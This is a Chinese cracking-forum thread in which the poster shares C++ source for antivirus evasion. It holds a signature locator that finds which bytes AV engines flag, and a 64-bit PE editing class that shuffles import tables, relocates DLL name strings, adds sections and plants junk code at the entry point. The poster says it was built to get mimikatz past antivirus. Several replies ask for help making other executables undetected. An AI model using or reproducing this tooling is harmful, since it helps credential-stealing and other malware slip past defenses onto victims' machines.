吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9307|回复: 21
收起左侧

[C&C++ 转载] PE文件免杀操作类~

  [复制链接]
vcvycy 发表于 2016-11-29 21:33
前两周有人托我免杀mimikatz(64位)。自己写了个特征码定位器和PE文件操作。发出来共享下吧。
特征码定位(自己写怕网上有后门,而且还不用学怎么操作那些软件):

MAX_CODE_LENGTH 这个东西定义最大特征码长度,稍微优化了下,不会出现特征码被从中间中断的情况。

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<vector>
using namespace std;
#define DEVIDE  5          //每个文件分成5个部分
#define OVERLAY 50
struct CCLPART{            //包含特征码文件的每一部分
  char  szFileName[30];
  DWORD dwByteReserved;    //前dwByteReserved个字符被保留,后面的填充
  PVOID pData;
  DWORD dwDataSize;
  bool isKilled(){      //用于检测当前部分是否被查杀
    bool bKilled=false;
    FILE *f=fopen(szFileName,"r");
    if (f==NULL)bKilled=true;
    fclose(f);
    DeleteFile(szFileName);
    return bKilled;
  }
  void Work(PVOID data,DWORD bytesreserved,DWORD datasize){  //将大小为datasize的文件data
    pData=data;
    dwByteReserved=min(bytesreserved,datasize);
    dwDataSize=datasize;
    sprintf(szFileName,"Part_%08x.exe",dwByteReserved);

    FILE *f=fopen(szFileName,"wb+");
    fwrite(pData,1,dwByteReserved,f);
    char p[2];p[0]=0x61;p[1]=0x60;
    for (int i=bytesreserved;i<dwDataSize;i++)
        fwrite(p+(i&1),1,1,f);
    fclose(f);
  }
};
#define FILE_NOT_FOUND -1
#define MAX_CODE_LENGTH 15
#define PART  8
class CCL{
private:
  char m_szFileName[260];
  FILE *m_File;
  PVOID m_Data;

  int getFileSize(){
    fseek(m_File,0,SEEK_END);
    return ftell(m_File);
  }
public:
  int Load(char *szFileName){
    strcpy(m_szFileName,szFileName);
    if ((m_File=fopen(m_szFileName,"rb"))==NULL)return FILE_NOT_FOUND;
    int nFileSize=getFileSize();
    printf("[*]文件载入成功 :%s\n",m_szFileName);
    m_Data=malloc(nFileSize);
    fseek(m_File,0,SEEK_SET);
    int nRead=fread(m_Data,1,nFileSize,m_File);

    if (!SetCurrentDirectory("C:\\Users\\thinkt\\Desktop\\免杀\\")){printf("cd error!\n");return 0;}
    int curPosStart=0;              //特征码所在区间的左边界和大小
    int curSize=nFileSize;
    int part=PART;
    vector<CCLPART> State;
    int Round=1;
    while (curSize>=MAX_CODE_LENGTH*2){
      printf(" [*]Round %d\n",Round++);
      printf("   [-]分块大小 %d\n",curSize);
      printf("   [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);
      int nEachPart=curSize/part+(curSize%part>0);
      for (int i=1;i<=part;i++){
        CCLPART cclpart;
        cclpart.Work(m_Data,curPosStart+nEachPart*i,nFileSize);
        State.push_back(cclpart);
      }
      system("pause");
      int newPos=curPosStart;
      for (int i=0;i<State.size();i++){
        if (!State[i].isKilled()){
         newPos+=nEachPart;
        }
        else{
          break;
        }
       }
       //printf("eachPart=%d newPos=%x\n",nEachPart,newPos);
      curSize=nEachPart;
      curSize+=min(MAX_CODE_LENGTH,newPos-curPosStart);
      newPos=max(curPosStart,newPos-MAX_CODE_LENGTH); //回退MAX_CODE_LENGTH个字节,且保证区间不可能比原区间更大
      curPosStart=newPos;
      State.clear();
      printf("   [-]Round %d Finished\n",Round-1);
    }

    printf(" [*]枚举特征码终点\n");
    printf("   [-]当前等待确定区间大小 %d\n",curSize);
    printf("   [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);

    for (int i=1;i<=curSize;i++){
      CCLPART cclpart;
      cclpart.Work(m_Data,curPosStart+i,nFileSize);
      State.push_back(cclpart);
    }
    system("pause");
    int CCEnd=curPosStart;
       for (int i=0;i<State.size();i++){
        if (!State[i].isKilled())
          CCEnd++;
        else{
          break;
        }
       }
    printf(" [*]定位到特征码终点[%08x]\n",CCEnd);
    return 0;
  }
};
CCL ccl;
int main(int argc,char** argv){
  //if (argc<0)return;
  SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\x64\\");
  if (ccl.Load("mimikatz_0x8.exe")!=0)
    printf("Error");
  return 0;
}



64位 PE文件操作类(基本都是输入表操作,还没写完,写发出来吧):
一些功能:移动输入表DLL和函数字符串位置,打乱输入表函数顺序,在输入表中插入一个函数。在入口处添加花指令。
接下来会更新下:比如重建输入表,只保留getProcAddress和loadLibrary两个,其他在入口处重建输入表。
反正想到什么更新什么。
发现NOD32输入表查杀太厉害了。其他稍微变形下就过了。
#include<stdio.h>
#include<stdlib.h>
#include<algorithm>
#include<string.h>
#include<windows.h>
#include<stdlib.h>
#include<vector>
using namespace std;

//错误信息
#define UNABLE_OPEN_FILE   -1
#define FREAD_ERROR        -2
#define IS_NOT_PE_64       -3
#define OUT_OF_PE_RANGE    -4
/*
  类CPE64:
  说明:
    (1)整个PE文件全部读入m_pData;
    (2)所有PE文件成分(如NT Header,DOS Header)的指针都指向m_pData空间;
    (3)成员变量原则上指向的都是Raw偏移/m_pData指针(方便直接操作文件),而非RVA;
    (4)RVA和RAW以DWORD保存,VA以QWORD保存
*/
/*
  不同于PE32:
  1、PIMAGE_NT_HEADERS64
*/
typedef struct _IID_FUN_INFO64{                       //导入函数信息rva地址
  DWORD INTAddr;                                      //导入函数的INT项RVA地址(IMAGE_THUNK_DATA64)
  DWORD IATAddr;                                      //导入函数的IAT项RVA地址(IMAGE_THUNK_DATA64)
  DWORD NAMEAddr;                                     //导入函数Hint和名称RVA (IMAGE_IMPORT_BY_NAME)
  vector<DWORD> CALLAddr;                             //引用(call,jmp)该函数的RVA地址集合
}IID_FUN_INFO64,*PIID_FUN_INFO64;

class  CMEMALLOC{                                     //文件中的0x00空白区域存放在此。存放FOA和其大小。
private:
  vector< pair<DWORD,DWORD> > vMem;                   //First为FOA,Seconf为Size
public:
  int Add(DWORD dwStart,DWORD dwSize){
     vMem.push_back(make_pair(dwStart,dwSize));
     return 0;
  }
  int Alloc(DWORD dwSize){                             //分配内存,成功返回FOA,失败exit(0)
    for (int i=0;i<vMem.size();i++)
    if (vMem[i].second>dwSize){
      vMem[i].first+=dwSize;
      vMem[i].second-=dwSize;
      return vMem[i].first-dwSize;
    }
    exit(-1);
  }
};

class CPE64{
private:
  DWORD                     m_dwFileSize;
  PBYTE                     m_pData;                           //保存整个文件
  //PE文件结构成员(指针均指向m_pData的这部分空间)
  PIMAGE_DOS_HEADER         m_pIDH;
  PIMAGE_NT_HEADERS64       m_pINH;
  DWORD                     m_dwSections;                      //区块个数
  PIMAGE_SECTION_HEADER     m_pISH[32];
  DWORD                     m_dwIIDs;                          //导入表DLL数目
  PIMAGE_IMPORT_DESCRIPTOR  m_pIID[64];
  CMEMALLOC                 m_ZeroMem;
  int InitMemValue();                                          //初始化以上结构体、成员

  int  Unload();                                               //初始化
  BOOL IsPE64();
  //地址转换
  PBYTE FOA2PBYTE(DWORD dwOffset);                             //[PE文件偏移DWORD]    ->  [m_pData中的数据指针PBYTE]
  DWORD PBYTE2FOA(PBYTE pByte);                                //[PE文件偏移DWORD]    <-  [m_pData中的数据指针PBYTE]
  DWORD FOA2RVA(DWORD dwRaw);                                  //[PE文件偏移DWORD]    ->  [RVA]
  DWORD RVA2FOA(DWORD dwRVA);                                  //[PE文件偏移DWORD]    <-  [RVA]
  DWORD RVA2FOA(ULONG64 u64RVA);                               //IMAGE_THUNK_DATA64 中的RVA为64位。直接当成32位处理
  #define RVA2PBYTE(rva)  (FOA2PBYTE(RVA2FOA(rva)))
  #define PBYTE2RVA(pb)   (FOA2RVA(PBYTE2FOA(pb)))

  int   UnsetASLR();
  //导入表操作
  int   IIDGetFunInfo (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD dwFunIdx,PIID_FUN_INFO64 pIFunInfo);  //获取导入函数信息(IID_FUN_INFO64)
  DWORD IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID);                                           //返回IID函数个数
  int   IIDSwapFuns (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2);                        //交换DLL中两个导入函数位置
  //搜索
  int   Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos);                                      //搜索文件中的二进制序列。返回FOA数组

public:
  CPE64();
  ~CPE64();
  int  Load(char *szFileName);                                  //正确载入文件:返回0
  int  Save(char *szFileName);
  //导入函数操作
  PIMAGE_IMPORT_DESCRIPTOR GetIID(DWORD dwIdx);
  PIMAGE_IMPORT_DESCRIPTOR GetIID(char *szDllName);            //通过DLL名获取其对应的PIMAGE_IMPORT_DESCRIPTOR
  int  IIDNameStrMove(char *szDLLName);                        //移动IID结构体中Name指向的DLL字符串。移动到区块末尾的0填充区域。
  int  IIDDisplay();                                           //显示所有导入DLL

  int  IIDFunDisplay (char *szDllName);                        //显示某个导入表信息
  int  IIDFunRemove  (char *szDLLName,char*szFunName);         //在导入表中删除粗函数
  int  IIDFunInsert  (char *szDLLName,char* szFunName);        //在导入表中添加函数
  int  IIDFunReverse (char* szDLLName);                        //导入DLL(pIID)中的函数随机改变
  //导出表
  int  IEDDisplay();
  //花指令
  int  AddJunkCodeAtEntry(PBYTE pCode,DWORD dwSize);
  //区块
  int  DisplaySecs();
  int  AddSection(char *szName,DWORD dwSize,DWORD dwAttrib);   //添加一个空区块,并放入m_ZeroMem。属性值默认为Read|Write|Executable(0xE0000020)
};
CPE64::CPE64(){
    m_dwFileSize=0;
    m_pData=NULL;
}
CPE64::~CPE64(){
    Unload();
}
int CPE64::InitMemValue(){
    //PE结构指针赋值
    m_pIDH=(PIMAGE_DOS_HEADER)FOA2PBYTE(0);
    m_pINH=(PIMAGE_NT_HEADERS64)FOA2PBYTE(m_pIDH->e_lfanew);
    if (!IsPE64())return IS_NOT_PE_64;
    //区块赋值
    m_dwSections=m_pINH->FileHeader.NumberOfSections;
    DWORD dwSecOff=sizeof(IMAGE_NT_HEADERS64)+PBYTE2FOA((PBYTE)m_pINH);
    for (int iSec=0;iSec<m_dwSections;iSec++){
        m_pISH[iSec]=(PIMAGE_SECTION_HEADER)FOA2PBYTE(dwSecOff);
        dwSecOff+=sizeof(IMAGE_SECTION_HEADER);
    }
    //导入表指针赋值
    DWORD dwIIDOff=RVA2FOA(m_pINH->OptionalHeader.DataDirectory[1].VirtualAddress);
    m_dwIIDs=0;
    while (1){
        m_pIID[m_dwIIDs]=(PIMAGE_IMPORT_DESCRIPTOR)FOA2PBYTE(dwIIDOff);
        if (m_pIID[m_dwIIDs]->FirstThunk==0&&m_pIID[m_dwIIDs]->OriginalFirstThunk==0) break;
        m_dwIIDs++;
        dwIIDOff+=sizeof(IMAGE_IMPORT_DESCRIPTOR);
    }
    //提取空白区域
    for(int i=0;i<m_dwSections;i++){
        int dwSize;
        PBYTE pStart;
        dwSize=0;
        pStart=FOA2PBYTE(m_pISH[i]->PointerToRawData+m_pISH[i]->SizeOfRawData-1);
        while (*pStart==0x00){
          pStart--;
          dwSize++;
        }
        int dwStart=PBYTE2FOA(pStart+1);
        dwSize-=0x20;dwStart+=0x20;
        dwSize+=dwStart&0x0f;dwStart&=~0x0f;
        if (dwSize>=0x20) m_ZeroMem.Add(dwStart,dwSize);
    }
    return 0;
}
int CPE64::Unload(){
    if (m_dwFileSize==0)return 0;
    m_dwFileSize=0;
    free(m_pData);
    return 0;
}
int CPE64::UnsetASLR(){                                            //清除IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE(0x40)标记
    WORD *wFlag=(WORD*)(&(m_pINH->OptionalHeader.DllCharacteristics));
    *wFlag&=~0x0040;
    return 0;
}
PBYTE CPE64::FOA2PBYTE(DWORD dwOffset){
    if (dwOffset>=m_dwFileSize)exit(OUT_OF_PE_RANGE);
    return m_pData+dwOffset;
}
DWORD CPE64::PBYTE2FOA(PBYTE pByte){
    return (DWORD)(pByte-m_pData);
}
BOOL CPE64::IsPE64(){
    return m_pIDH->e_magic==0x5A4D && m_pINH->OptionalHeader.Magic==0x020B;
}
#define INRANGE(x,start,size) (((x)>=(start))&&((x)<((start)+(size))))            //当x在区间[start,start+size)内
DWORD CPE64::FOA2RVA(DWORD dwRaw){
    for (int i=0;i<m_dwSections;i++){
       if (INRANGE(dwRaw,m_pISH[i]->PointerToRawData,m_pISH[i]->SizeOfRawData)){
         return m_pISH[i]->VirtualAddress+dwRaw-m_pISH[i]->PointerToRawData;
       }
    }
    return 0;
}
DWORD CPE64::RVA2FOA(DWORD dwRVA){
    //枚举节区,检查rva处于哪个节区。
    for (int i=0;i<m_dwSections;i++){
       if (dwRVA>=m_pISH[i]->VirtualAddress && dwRVA-m_pISH[i]->VirtualAddress < m_pISH[i]->SizeOfRawData){
         int PointerToRawData=m_pISH[i]->PointerToRawData/0x200*0x200;
         return dwRVA-m_pISH[i]->VirtualAddress+PointerToRawData;
       }
    }
    return 0;
}
DWORD CPE64::RVA2FOA(ULONG64 u64RVA){
    return RVA2FOA((DWORD)u64RVA);
}
DWORD CPE64::IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID){
   PIMAGE_THUNK_DATA64 p=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   DWORD dwCount=0;
   while (p->u1.AddressOfData!=0){p++;dwCount++;}
   return dwCount;
}

PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(DWORD dwIdx){
   if (dwIdx>=m_dwIIDs)return NULL;
   return m_pIID[dwIdx];
}
PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(char *szDllName){
   for (int i=0;i<m_dwIIDs;i++){
     PIMAGE_IMPORT_DESCRIPTOR pIID=m_pIID[i];
     char *szName=(char*)RVA2PBYTE(pIID->Name);
     //比较DLL名称(转为小写字母)
     bool bSame=true;
     for (int j=0;j<strlen(szDllName);j++)
        if ((szName[j]|0x20)!=(szDllName[j]|0x20)){
          bSame=false;
          break;
        }
     if (bSame)return pIID;
   }
   return NULL;
}
int CPE64::IIDDisplay(){
   for (int i=0;i<m_dwIIDs;i++){
     printf("%s\n",RVA2PBYTE(m_pIID[i]->Name));
   }
   return 0;
}
int CPE64::IIDFunDisplay(char *szDLLName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   if (pIID==NULL){
     printf("[!]DLL %s Not Found!\n",szDLLName);
     return -1;
   }
   printf("[*]%s\n",RVA2PBYTE(pIID->Name));
   printf("[*]ImageImportDescriptor:\n");
   printf("   [-]OriginalFirstThunk:  0x%08x\n",pIID->OriginalFirstThunk);
   printf("   [-]Name:                0x%08x\n",pIID->Name);
   printf("   [-]FirstThunk:          0x%08x\n\n",pIID->FirstThunk);
   printf("   Index  Hint     API name\n"
          "   -----  -----    ---------------------------\n");
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   int Idx=0;
   while (pINT->u1.AddressOfData!=0){
     PIMAGE_IMPORT_BY_NAME pIIBN=(PIMAGE_IMPORT_BY_NAME)RVA2PBYTE(pINT->u1.AddressOfData);
     printf("   [%03d]  %04x    \"%s\"\n",Idx++,pIIBN->Hint,pIIBN->Name);
     pINT++;
   }
   return 0;
}
int CPE64::IIDGetFunInfo(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,PIID_FUN_INFO64 pIFunInfo){
   /*
     64位中的call,jmp均有对应的32位相对寻址
   */
   DWORD  dwFunNum=IIDFunCount(pIID);
   if (dwFunNum<=id)return -1;

   PIMAGE_THUNK_DATA64 pINT;
   PIMAGE_THUNK_DATA64 pIAT;
   //填充函数结构体
   pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);

   ULONG64 base=m_pINH->OptionalHeader.ImageBase;
   BYTE pSeq[16];
   //填充函数1结构体
   pIFunInfo->INTAddr=PBYTE2RVA((PBYTE)(pINT+id));
   pIFunInfo->IATAddr=PBYTE2RVA((PBYTE)(pIAT+id));
   for (DWORD foa=0;foa<m_dwFileSize-6;foa++){
     bool yes=false;
     if (m_pData[foa]==0xff&&m_pData[foa+1]==0x25)yes=true;  //jmp [32]指令
     if (m_pData[foa]==0xff&&m_pData[foa+1]==0x15)yes=true;  //call[32]指令
     if(yes){
       //64位的jmp(0xff,0x25)和call(0xff,0x15)指令为相对寻址。
       DWORD offset=*(DWORD*)FOA2PBYTE(foa+2);
       DWORD rva=FOA2RVA(foa)+6+offset;
       if (rva==pIFunInfo->IATAddr)
         pIFunInfo->CALLAddr.push_back(FOA2RVA(foa));
     }
   }
   pIFunInfo->NAMEAddr=*((DWORD*)RVA2PBYTE(pIFunInfo->INTAddr));
   return 0;
}
int CPE64::Load(char *szFileName){
    //读取整个文件存入pData
    Unload();
    FILE *f=fopen(szFileName,"rb");
    if (f==NULL)return UNABLE_OPEN_FILE;
    fseek(f,0,SEEK_END);
    m_dwFileSize=ftell(f);                                                      //文件大小
    m_pData=(PBYTE)malloc(m_dwFileSize);
    fseek(f,0,SEEK_SET);
    if (fread((PVOID)m_pData,1,m_dwFileSize,f)!=m_dwFileSize)return FREAD_ERROR;
    fclose(f);

    return InitMemValue();
  }

int CPE64::Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos){
    //KMP匹配
    int *fail=(int*)malloc(dwSz);
    fail[0]=0;
    int j=0;
    for (int i=1;i<dwSz;i++){
      while(j&&pSeq[i]!=pSeq[j])j=fail[j-1];
      if (pSeq[i]==pSeq[j])j++;
      fail[i]=j;
    }
    j=0;
    for(int i=0;i<m_dwFileSize;i++){
      while (j&&m_pData[i]!=pSeq[j])j=fail[j-1];
      if (m_pData[i]==pSeq[j])j++;
      if (j==dwSz){
        pos.push_back(i-dwSz+1);
        j=fail[j-1];
      }
    }
    free(fail);
    return 0;
}

int CPE64::IIDSwapFuns(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2){
   /*按照调用以以下顺序API编写:(64位下,call jmp都有32位相对寻址)

     如调用_amsg_exit函数:
     (1)000000014006A86E: call 0x00004a4d;        //64位下为相对寻址
        000000014006A873: [other Instruction]
        ...                                     //(注:000000014006A873+4a4d=0x14006f2c0)
     (2)0x14006f2c0  JMP [0x000039a2]           //机器码:FF 25 A2 39 00 00
        0x14006f2c6  [other Instruction]
        ...                                     //(注:0x14006f2c0+39a2=0x140072c68)
     (3)[0x140072c68]=00007FF8F7BBA4E0(函数入口地址)//(PE装载器写入Original Thunk的真实地址)
   */

   IID_FUN_INFO64 fun;
   IID_FUN_INFO64 fun2;
   if (IIDGetFunInfo(pIID,id,&fun))return -1;
   if (IIDGetFunInfo(pIID,id2,&fun2))return -1;
   DWORD *dwTmp;
   dwTmp=(DWORD*)RVA2PBYTE(fun.INTAddr);*dwTmp=fun2.NAMEAddr;
   dwTmp=(DWORD*)RVA2PBYTE(fun.IATAddr);*dwTmp=fun2.NAMEAddr;

   for (int idCall=0;idCall<fun.CALLAddr.size();idCall++){
      dwTmp=(DWORD*)RVA2PBYTE(fun.CALLAddr[idCall]+2);       //两个字节指令码
     *dwTmp=fun2.IATAddr-fun.CALLAddr[idCall]-6;
   }

   dwTmp=(DWORD*)RVA2PBYTE(fun2.INTAddr);*dwTmp=fun.NAMEAddr;
   dwTmp=(DWORD*)RVA2PBYTE(fun2.IATAddr);*dwTmp=fun.NAMEAddr;

   for (int idCall=0;idCall<fun2.CALLAddr.size();idCall++){
      dwTmp=(DWORD*)RVA2PBYTE(fun2.CALLAddr[idCall]+2);
     *dwTmp=fun.IATAddr-fun2.CALLAddr[idCall]-6;
   }
   return 0;
}
int CPE64::IIDFunRemove(char*szDLLName,char*szFunName){

   /* 思路:向下冒泡交换,到最后时直接删除*/
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   DWORD dwFunNum=IIDFunCount(pIID);
   /*if (dwFunNum<=id) return -1;
   for (int curId=id;curId<dwFunNum-1;curId++){
     IIDSwapFuns(pIID,curId,curId+1);
   }
   PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);
   (pINT+dwFunNum-1)->u1.AddressOfData=0;
   (pIAT+dwFunNum-1)->u1.AddressOfData=0;*/
   return 0;
}
int CPE64::Save(char *szFileName){
   FILE *f=fopen(szFileName,"wb+");
   if (f==NULL)return -1;
   fwrite(m_pData,1,m_dwFileSize,f);
   fclose(f);
   return 0;
}
int CPE64::IIDNameStrMove(char* szDLLName){                              //移动dll字符串到dwFOA。
    PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
    if (pIID==NULL)return -1;

    PBYTE pOld=RVA2PBYTE(pIID->Name);
    DWORD dwFOA;

    if ((dwFOA=m_ZeroMem.Alloc(strlen((const char*)pOld)+1))==0)return -1;
    PBYTE pNew=FOA2PBYTE(dwFOA);
    strcpy((char*)pNew,(char*)pOld);
    memset(pOld,0,strlen((const char*)pOld));
    pIID->Name=FOA2RVA(dwFOA);
    //printf("[%s]  From FOA %x  to FOA %x\n",pNew,PBYTE2FOA(pOld),PBYTE2FOA(pNew));
    return 0;
  }
int CPE64::IIDFunReverse(char *szDLLName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);//m_pIID[dwIdx];
   if (pIID==NULL)return -1;
   UnsetASLR();
   int cntFun=IIDFunCount(pIID);
   for (int i=0;i<cntFun/2;i++)      IIDSwapFuns(pIID,i,cntFun-1-i);
   return 0;
}
int CPE64::IIDFunInsert(char *szDLLName,char*szFunName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   if (pIID==NULL)return -1;
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);


   int nNum=IIDFunCount(pIID);
   pINT+=nNum;
   pIAT+=nNum;

   if ((pINT+1)->u1.AddressOfData!=NULL||(pIAT+1)->u1.AddressOfData!=NULL){
      printf("[IIDFunInsert] Not Enough Space In FOA[%x or %x]!\n",PBYTE2FOA((PBYTE)pINT),PBYTE2FOA((PBYTE)pIAT));
      return -1;
   }
   //写入函数名字符串
   DWORD foa=m_ZeroMem.Alloc(strlen(szFunName)+1);
   DWORD rva=FOA2RVA(foa);
   memcpy(RVA2PBYTE(rva),szDLLName,strlen(szFunName));
   pINT->u1.AddressOfData=rva;
   pIAT->u1.AddressOfData=rva;
   return 0;
}
int CPE64::AddJunkCodeAtEntry(PBYTE pCode=NULL,DWORD dwSize=0){
   UnsetASLR();
   if (pCode==NULL){
     dwSize=30;
     pCode=(PBYTE)malloc(dwSize);
     pCode[0]=0x55;                                             //push rbp
     pCode[1]=0x48;pCode[2]=0x89;pCode[3]=0xe5;                 //mov  rbp,rsp
     pCode[4]=0xeb;pCode[5]=0x02;                               //jmp  [跳过两个字节]
     pCode[6]=0xff;pCode[7]=0x15;                               //无用代码,CALL指令的前缀
     pCode[8]=0x48;pCode[9]=0x8b;pCode[10]=0x2c;pCode[11]=0x24; //mov  rbp,[rsp]
     pCode[12]=0x50;                                            //push rax
     //mov rax,[old Entry]
     pCode[13]=0x48;pCode[14]=0xb8;
     *(ULONG64*)(pCode+15)=m_pINH->OptionalHeader.AddressOfEntryPoint+m_pINH->OptionalHeader.ImageBase;
     pCode[23]=0x48;pCode[24]=0x89;
     pCode[25]=0x44;pCode[26]=0x24;pCode[27]=0x08;               //mov [rsp+8],rax
     pCode[28]=0x58;                                             //pop rax
     pCode[29]=0xc3;                                             //ret
   }
   //写入文件
   PBYTE pZeroMem=FOA2PBYTE(m_ZeroMem.Alloc(dwSize));
   DWORD dwNewEntry=PBYTE2RVA(pZeroMem);
   memcpy(pZeroMem,pCode,dwSize);
   free(pCode);
   //修改入口点
   m_pINH->OptionalHeader.AddressOfEntryPoint=dwNewEntry;
   return 0;
}

int CPE64::DisplaySecs(){
  printf("    Name  VOffset   VSize     ROffset    RSize    Flags   \n"
         "--------  --------  --------  --------   -------- --------\n");
  DWORD dwNum=m_pINH->FileHeader.NumberOfSections;
  for (int i=0;i<dwNum;i++){
    PIMAGE_SECTION_HEADER pISH=m_pISH[i];
    printf("%8s  %08x  %08x  %08x  %08x  %08x\n",pISH->Name,pISH->VirtualAddress,
           pISH->Misc.VirtualSize,pISH->PointerToRawData,pISH->SizeOfRawData,pISH->Characteristics);
  }
  return 0;
}
#define GETCEIL(val,align) (((val)&(align-1))?(val)-((val)&(align-1))+(align):(val))   //以align对齐,上取整
int CPE64::AddSection(char *szName,DWORD dwSize,DWORD dwAttrib=0xc0000020){
   /* 属性值:
      读: IMAGE_SCN_MEM_READ  (0x40000000)
      写: IMAGE_SCN_MEM_WRITE (0x80000000)
      执行:IMAGE_SCN_CNT_CODE  (0x00000020)
   */
   dwSize=GETCEIL(dwSize,0x200);
   //重新申请更大的空间,并初始化m_pData与PE各结构体
   PBYTE pNewData=(PBYTE)malloc(m_dwFileSize+dwSize);
   memcpy(pNewData,m_pData,m_dwFileSize);
   memset(pNewData+m_dwFileSize,0,sizeof(dwSize));

   free(m_pData);
   m_dwFileSize+=dwSize;
   m_pData=pNewData;
   InitMemValue();

   //直接添加在区块后面(不判断是否有足够空间!)
   PIMAGE_SECTION_HEADER pISHPrev;
   PIMAGE_SECTION_HEADER pISH;
   pISHPrev =m_pISH[m_pINH->FileHeader.NumberOfSections-1];
   pISH     =(PIMAGE_SECTION_HEADER)((PBYTE)pISHPrev+sizeof(IMAGE_SECTION_HEADER));
   m_pISH[m_pINH->FileHeader.NumberOfSections]=pISH;

   //区块结构体成员赋值
   memcpy(pISH,szName,strlen(szName));
   pISH->VirtualAddress   =GETCEIL(pISHPrev->VirtualAddress+pISHPrev->Misc.VirtualSize,0x1000);
   pISH->Misc.VirtualSize =dwSize;
   pISH->PointerToRawData =m_dwFileSize-dwSize;
   pISH->SizeOfRawData    =dwSize;
   pISH->Characteristics  =dwAttrib;

   m_pINH->FileHeader.NumberOfSections++;
   m_pINH->OptionalHeader.SizeOfImage+=pISH->Misc.VirtualSize;
   return 0;
}
int CPE64::IEDDisplay(){
   if (m_pINH->OptionalHeader.DataDirectory[0].VirtualAddress==NULL){
     printf("Export Table Don't Exist!\n");
     return 0;
   }
   PIMAGE_EXPORT_DIRECTORY pIED=(PIMAGE_EXPORT_DIRECTORY)RVA2PBYTE(m_pINH->OptionalHeader.DataDirectory[0].VirtualAddress);
   printf("[Module Name]  %s\n",RVA2PBYTE(pIED->Name));
   printf("   Ordinal RVA        Symbol Name\n"
          "   ------- ---------- ----------------------------------\n");
   DWORD  NameNum=pIED->NumberOfNames;
   DWORD *pNameAddr=(DWORD*)RVA2PBYTE(pIED->AddressOfNames);
   WORD  *pNameOrdinals=(WORD*)RVA2PBYTE(pIED->AddressOfNameOrdinals);
   for (int i=0;i<NameNum;i++){
     printf("   0x%04x 0x%08x %s \n",*pNameOrdinals,*pNameAddr,(char*)RVA2PBYTE(*pNameAddr));
     pNameAddr++;
     pNameOrdinals++;
   }
   return 0;
}
CPE64 pe64;
int main(){

  SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\");
  int n=pe64.Load("mimikatz.exe");
  if (n!=0)return -2;
  char *dll="msvcrt.dll";
  pe64.DisplaySecs();
  pe64.AddSection(".MySec",0x198,0xE0000020);
  pe64.DisplaySecs();
  pe64.IIDFunDisplay(dll);
  pe64.IIDFunInsert (dll,"myfun");
  //pe64.IIDFunDisplay(dll);
  if(pe64.Save("modify.exe")==0)printf("save Success!\n");
  //system("modify.exe");
  return 0;
}


发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

米奇哥哥 发表于 2017-11-15 12:16
楼主请教
之前传奇登陆器报毒一直用PE头移动 解决了  管家报毒问题。
现在如果用了PE头移动 没多久 360又爆高风险 。
这个可以解决吗?  最好是工具、傻瓜式的那种。
红包已备好。能处理的留下联系方式
2223862765 发表于 2016-11-29 21:53
52P 发表于 2016-11-29 22:06
c66d88 发表于 2016-11-29 22:32
高手就是高手,看到这些就像天书
gxhayxj 发表于 2016-11-29 23:43
工具呢?
Deteriorator 发表于 2016-11-29 23:58
好屌,大神收下我的乞丐
 楼主| vcvycy 发表于 2016-11-30 09:38
有人要工具么,过两个弄个命令行的吧。
s3233431 发表于 2016-11-30 10:34
没排版好可怕,一点阅读的欲望都没有了……
sg871013613 发表于 2017-3-4 11:44
我编写的批处理转化成exe怎么免杀发送出去
xtpl 发表于 2017-3-15 00:36
表示不知道怎么用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 14:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表